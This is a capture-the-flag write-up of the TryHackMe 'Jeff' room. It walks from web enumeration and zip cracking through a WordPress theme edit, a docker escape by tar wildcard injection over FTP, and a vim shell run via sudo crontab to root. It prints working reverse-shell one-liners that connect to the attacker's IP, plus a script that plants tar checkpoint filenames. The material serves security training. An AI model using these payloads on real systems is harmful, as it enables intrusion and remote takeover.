Jeff TryHackMe Writeup
Jeff is a hard rated linux room in Tryhackme by jB. This writeup contains directory and file bruteforcing with gobuster, zip password cracking using john, code execution on wordpress site, docker escape using misconfigured cronjob and getting a root shell using the entry on the sudoers file.
Port Scan
All Port Scan
reddevil@ubuntu:~/Documents/tryhackme/jeff$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.243.186
Nmap scan report for jeff.thm (10.10.243.186)
Host is up (0.31s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Dec 8 23:45:50 2020 -- 1 IP address (1 host up) scanned in 53.49 seconds
Only two ports are open. One is SSH and another is port 80 which is running HTTP service.
Detail Nmap Scan
reddevil@ubuntu:~/Documents/tryhackme/jeff$ nmap -p22,80 -sC -sV 10.10.243.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-28 19:56 +0545
Nmap scan report for 10.10.243.186
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
| 256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_ 256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.29 seconds
SSH doesnot have that much of attack surface, so let us start our enumeration with HTTP service.
Port 80
reddevil@ubuntu:~/Documents/tryhackme/jeff$ curl http://10.10.243.186/
<!-- Did you forget to add jeff.thm to your hosts file??? -->
The home page is just a blank page with comment to remind us to add jeff.thm to our /etc/hosts file. So, lets add the entry to our hosts file.
10.10.243.186 jeff.thm
Visiting jeff.thm
We get a completely different page this time which looks like a personal blog for Jeff where he talks about a wordpress site and his ability to code on assembly, C and PHP.
Directory and Files Bruteforcing using Gobuster
reddevil@ubuntu:~/Documents/tryhackme/jeff$ gobuster dir -u http://jeff.thm -w /usr/share/wordlists/Seclists/Discovery/Web-Content/raft-small-words.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/Seclists/Discovery/Web-Content/raft-small-words.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/28 20:06:17 Starting gobuster
===============================================================
/admin (Status: 301)
/uploads (Status: 301)
/assets (Status: 301)
/. (Status: 301)
/backups (Status: 301)
===============================================================
2020/12/28 20:11:45 Finished
===============================================================
Here we get few more directories. I used multiple wordlists like directory-list-2.3-medium.txt
, common.txt
,big.txt
for fuzzing at the time of enumeration and will not repeat the steps here. It is always better to use multiple wordlists during fuzzing.
So I fuzzed every directory with recusively and with different extension to find the files as well as more directories using gobuster. For example for backups, I used the extensions like zip,tar,tar.gz,bz2,rar and so on and for source_codes I used extensions like php,html,c,c++,asm and so on. I am not going to show all the gobuster result here as it is very straightforward.
Final Result from Gobuster
From the result, we can see that backup.zip might be intersting to us as it might contain the backup for the webserver.
Unzipping the backup file
reddevil@ubuntu:~/Documents/tryhackme/jeff/http/backups$ unzip backup.zip
Archive: backup.zip
creating: backup/
creating: backup/assets/
[backup.zip] backup/assets/EnlighterJS.min.css password:
Looks like we need password to extract the contents of the zip file.
Cracking the zip password using john
We can use john to bruteforce the password combination for the zip file.
Using zip2john to create the hash
zip2john comes preinstalled on most of the pen testing distros.
Using John to crack the hash
reddevil@ubuntu:~# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<zip-redacted-password> (backup.zip)
1g 0:00:00:06 DONE (2020-12-28 09:45) 0.1533g/s 2199Kp/s 2199Kc/s 2199KC/s !!rebound!!..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And the password is cracked using rockyou.txt wordlist.
Extracting the zip file
From the extracted files, wpadmin.bak file looks interesting.
Contents of wpadmin.bak
reddevil@ubuntu:~/Documents/tryhackme/jeff/http/backups/backup$ cat wpadmin.bak
wordpress password is: <wordpress-redacted-password>
And we get the password for a wordpress site but the thing is we still havenot found the wordpress site.
Vhost Bruteforcing using gobuster
And we get a host called wordpress.jeff.thm, so let us add this entry to our /etc/hosts file.
10.10.243.186 jeff.thm wordpress.jeff.thm
Visiting wordpress.jeff.thm
Like the name, we get the wordpress site and we can see a post created by user jeff. So, lets try to login on the admin dashboard with user jeff and the credential that we obtained before. And using those credentials, we successfully log in.
Getting a Shell as www-data inside a docker container
Now that we are the admin of the wordpress site, we can try and get a reverse shell using different techniques. Here I am going to change the content of the inactive theme and make it active to get code execution. We could have also uploaded the vulnerable plugin to get code execution.
Active theme on wordpress site
Twenty twenty is currently active. So lets edit the content of theme twenty seventeen.
Editing the content of index.php
Here I have replaced the main index.php of the theme twenty seventeen with my PHP code, which gets a file shell.sh
from my local box and executes the file.
Contents of shell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.6.31.213/9001 0>&1
Activating New theme
Getting a shell
Here I have requested the wordpress’s homepage using curl and after I made that request, the server requested our local python HTTP Server for file shell.sh
and the server executes the file giving us a shell as www-data.
Getting a proper TTY
There was no python or python3 installed on the box. But after some enumeration I found that python3.7 was installed.
www-data@Jeff:/var/www$ find / -type f -iname 'python*' 2>/dev/null
find / -type f -iname 'python*' 2>/dev/null
/usr/share/pixmaps/python3.7.xpm
/usr/share/applications/python3.7.desktop
/usr/share/binfmts/python3.7
/usr/bin/python3.7m
/usr/bin/python3.7
/var/lib/dpkg/info/python3.7-minimal.preinst
/var/lib/dpkg/info/python3.7.postinst
/var/lib/dpkg/info/python3.7.md5sums
/var/lib/dpkg/info/python3.7-minimal.postinst
/var/lib/dpkg/info/python3.7-minimal.md5sums
/var/lib/dpkg/info/python3.7-minimal.postrm
/var/lib/dpkg/info/python3.7-minimal.list
/var/lib/dpkg/info/python3.7-minimal.prerm
/var/lib/dpkg/info/python3.7.prerm
/var/lib/dpkg/info/python3.7.list
/var/lib/python/python3.7_installed
Now lets get a proper shell with auto completion feature using python3.7.
www-data@Jeff:/var/www$ python3.7 -c 'import pty;pty.spawn("/bin/bash")'
Hit CRTL+z to background the current process and on local box type
reddevil@ubuntu:~/Documents/tryhackme/jeff$ stty raw -echo
and type fg and hit enter twice and on the reverse shell export the TERM as xterm.
www-data@Jeff:/var/www$ export TERM=xterm
Now we have a proper shell.
Manual Enumeration
www-data@Jeff:/var/www/html$ ls -la /
total 76
drwxr-xr-x 1 root root 4096 May 18 2020 .
drwxr-xr-x 1 root root 4096 May 18 2020 ..
-rwxr-xr-x 1 root root 0 May 18 2020 .dockerenv
drwxr-xr-x 1 root root 4096 Apr 23 2020 bin
drwxr-xr-x 2 root root 4096 Feb 1 2020 boot
drwxr-xr-x 5 root root 340 Dec 28 14:10 dev
drwxr-xr-x 1 root root 4096 May 18 2020 etc
drwxr-xr-x 2 root root 4096 Feb 1 2020 home
drwxr-xr-x 1 root root 4096 Apr 23 2020 lib
drwxr-xr-x 2 root root 4096 Apr 22 2020 lib64
drwxr-xr-x 2 root root 4096 Apr 22 2020 media
drwxr-xr-x 2 root root 4096 Apr 22 2020 mnt
drwxr-xr-x 2 root root 4096 Apr 22 2020 opt
dr-xr-xr-x 115 root root 0 Dec 28 14:10 proc
drwx------ 1 root root 4096 May 18 2020 root
drwxr-xr-x 1 root root 4096 Apr 23 2020 run
drwxr-xr-x 1 root root 4096 Apr 23 2020 sbin
drwxr-xr-x 2 root root 4096 Apr 22 2020 srv
dr-xr-xr-x 13 root root 0 Dec 28 14:10 sys
drwxrwxrwt 1 root root 4096 Dec 28 15:13 tmp
drwxr-xr-x 1 root root 4096 Apr 22 2020 usr
drwxr-xr-x 1 root root 4096 Apr 23 2020 var
From the presence of the file .dockerenv,we know that we are inside the docker container. So I began to manually enumerate the contents of the webserver.
On the webserver, I found an interesting file called ftp_backup.php
.
Content of ftp_backup.php
Looking at this incomplete PHP script, we can see that the script is trying to connect to the FTP server on address 172.20.0.1 which is the IP for the host from which all the docker containers are hosted. But our Nmap scan showed that there was no FTP server open on the normal interface. Maybe the FTP server is configured so that it can be accessed only from the docker container.
Port forwarding using chisel
Since there is not ftp binary on the docker container, lets create a port tunnelling using chisel and access it from our local box.
Downloading Chisel Binary using curl
www-data@Jeff:/var/www/html$ curl 10.6.31.213:8000/chisel -o /tmp/chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7192k 100 7192k 0 0 448k 0 0:00:16 0:00:16 --:--:-- 850k
On local box
reddevil@ubuntu:~/Documents/tryhackme/jeff/www$ sudo ./chisel server -p 1880 --reverse
2020/12/28 21:18:18 server: Reverse tunnelling enabled
2020/12/28 21:18:18 server: Fingerprint 15:5d:fc:f3:f3:fc:8a:65:71:f8:8c:8e:85:24:67:4b
2020/12/28 21:18:18 server: Listening on 0.0.0.0:1880...
On remote Box
www-data@Jeff:/tmp$ ./chisel client 10.6.31.213:1880 R:21:172.20.0.1:21
2020/12/28 15:32:51 client: Connecting to ws://10.6.31.213:1880
2020/12/28 15:32:52 client: Fingerprint 45:7c:4d:14:00:e3:bf:5b:3d:e8:28:3b:b6:e5:8e:b0
2020/12/28 15:32:54 client: Connected (Latency 380.583908ms)
Now the port forwarding is successful.
Enumerating FTP service
Using the credentials, we successfully log in.
ftp> dir
500 Illegal PORT command.
ftp: bind: Address already in use
But I was getting error while running basics commands. So I searched around to find out what those errors meant and found a article but I was not able get it to work and I was finally able to do the FTP enumeration from the python3.7 inside the docker container.
Directory Listing on FTP
www-data@Jeff:/var/www/html$ python3.7
Python 3.7.3 (default, Dec 20 2019, 18:57:59)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ftplib
>>> session = ftplib.FTP('172.20.0.1','backupmgr','<ftp_readacted_password>')
>>> session.set_pasv(False)
>>> session.dir()
drwxr-xr-x 2 1001 1001 4096 May 18 2020 files
>>> session.cwd('files')
'250 Directory successfully changed.'
>>> session.dir()
I was able to get the directory listing when set passive mode to False. On the FTP server we have a folder and the folder files is empty.
Everytime I see a FTP server, I check if I have write permission on the server and if I have write permissions, then I check if the written files are reflected anywhere on the webserver.
Writing a file
import ftplib
session = ftplib.FTP('172.20.0.1','backupmgr','<ftp_readacted_password>')
session.set_pasv(False)
file = open('test.txt','rb')
session.cwd('files') # file to send
session.storbinary('STOR test.txt', file) # send the file
file.close() # close file and FTP
print(session.dir())
session.quit()
Here, I have tried to upload a file called test.txt
to remote FTP server inside files directory.
Executing the script
www-data@Jeff:/tmp$ echo 'This is a test file' > test.txt
www-data@Jeff:/tmp$ python3.7 upload.py
-rwxr-xr-x 1 1001 1001 20 Dec 28 16:13 test.txt
None
www-data@Jeff:/tmp$
And we can clearly see that the file exists on the FTP server which means that we have write permission on the folder files. I then checked on all the sites whether the test.txt file is reflected, but I did not find anything.
Struggling at this point for some time, I thought of tar wildcard vulnerability that I have used a lot for privilege escalation on different rooms of THM. But, We can not know for sure what the user has done to implement the backup process. If the user is running a cronjob on the host to create a tar archive of all the files inside the files directory, then we can abuse that to get code execution on the host.
Using this article, I have created and uploaded 3 files.
Reverse Shell as backupmgr
Content of shell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.6.31.213/9001 0>&1
Content of upload.py
import ftplib
session = ftplib.FTP('172.20.0.1','backupmgr','<ftp_readacted_password>')
session.set_pasv(False)
file = open('shell.sh','rb')
session.cwd('files') # file to send
session.storbinary('STOR shell.sh', file) # send the file
file.close() # close file and FTP
file = open('--checkpoint=1','rb')
session.storbinary('STOR ' + '--checkpoint=1', file) # send the file
file.close() # close file and FTP
file = open('--checkpoint-action=exec=sh shell.sh','rb')
session.storbinary('STOR ' + '--checkpoint-action=exec=sh shell.sh', file) # send the file
file.close() # close file and FTP
session.quit()
Here I have uploaded three files, one is shell.sh which contains bunch of reverse shell payloads and other two are used to abuse the tar wildcard vulnerability with will execute the file shell.sh.
Executing upload.py
And after a while we get a shell as backupmgr on the host.
Privilege Escalation
I ran linpeas and found a non standard binary with GUID bit set.
Searching for GUID binaries
Here /opt/systools/sytool binary has GUID bit set and is owned by group pwman. If we can find any misconfiguration on this binary, it will be great as the binary runs with the effective privilege of group pwman.
Reversing the binary with Ghidra
I opened a python HTTP server on the host, downloaded the binary and reversed it with ghidra.
Running the binary
We can select 3 options in which
- 1 -> gives the list of the running processes.
- 2 -> Dont know (Can be found after reversing)
- 3 -> Exits the program
Main function
undefined8 main(void)
{
char *pcVar1;
char local_418 [1032];
int local_10;
int local_c;
local_c = 0;
banner();
do {
options();
printf("Chose your option: ");
pcVar1 = fgets(local_418,0x400,stdin);
if (pcVar1 == (char *)0x0) {
return 1;
}
local_10 = atoi(local_418);
if (local_10 == 3) {
local_c = 1;
}
else {
if (local_10 < 4) {
if (local_10 == 1) {
system("/bin/ps aux");
}
else {
if (local_10 == 2) {
readFile();
}
}
}
}
} while (local_c == 0);
return 0;
}
Lokking at the code, if the option is 1, it call system with argument /bin/ps aux and if the option is 2, it calls another function called readFile().
Content of function readFile
undefined8 readFile(void)
{
int __c;
FILE *__stream;
undefined8 uVar1;
undefined4 extraout_var;
__stream = fopen("message.txt","r");
if (__stream == (FILE *)0x0) {
__c = puts("\n\nError opening file. Please check that it exists.\n");
uVar1 = CONCAT44(extraout_var,__c);
}
else {
puts("\n");
while( true ) {
__c = fgetc(__stream);
if (__c == -1) break;
putchar(__c);
}
puts("\n");
fclose(__stream);
uVar1 = 1;
}
return uVar1;
}
We can see that the readFile()
function is trying to read the content of the file message.txt.
File Permissions of message.txt
backupmgr@tryharder:/opt/systools$ ls -la
total 32
drwxrwxrwx 2 jeff jeff 4096 May 24 2020 .
drwxr-xr-x 4 root root 4096 May 24 2020 ..
-rwxrwxrwx 1 root root 108 May 24 2020 message.txt
-rwxr-sr-x 1 jeff pwman 17160 May 24 2020 systool
We can see that the message.txt file is owned by root but has all read, write and execute permission for everyone. This means we can create a symbolic link to any file that is owned by group pwman and can read the file using the systool binary.
Finding files owned by pwman
backupmgr@tryharder:/opt/systools$ find / -type f -group pwman -ls 2>/dev/null
795411 20 -rwxr-sr-x 1 jeff pwman 17160 May 24 2020 /opt/systools/systool
1056230 4 -rwxr-x--- 1 jeff pwman 43 May 11 2020 /var/backups/jeff.bak
And we find two files. The jeff.bak file looks interesting. Lets try to read the content of the jeff.bak file.
Contents of /var/backups/jeff.bak
Here I have create a symbolic link to that file and read the file using the binary which gives us the password for jeff. Lets try to login to the box with this credentials.
Logging in as jeff using SSH
And we successfully log in using SSH. But it seems to have rbash as the default shell for jeff which is preventing us from executing code having / on them.
jeff@tryharder:~$ id
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names
This can be easily bypassed as we can change the user from the backupmgr using su.
Checking sudoers entry using sudo -l
It turns our user jeff can run crontab as root, which means we can open up a vim with sudo permission and can get a shell that way.
jeff@tryharder:/opt/systools$ sudo /usr/bin/crontab -e
Spawning a bash shell from vim
root@tryharder:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
And we have owned the box.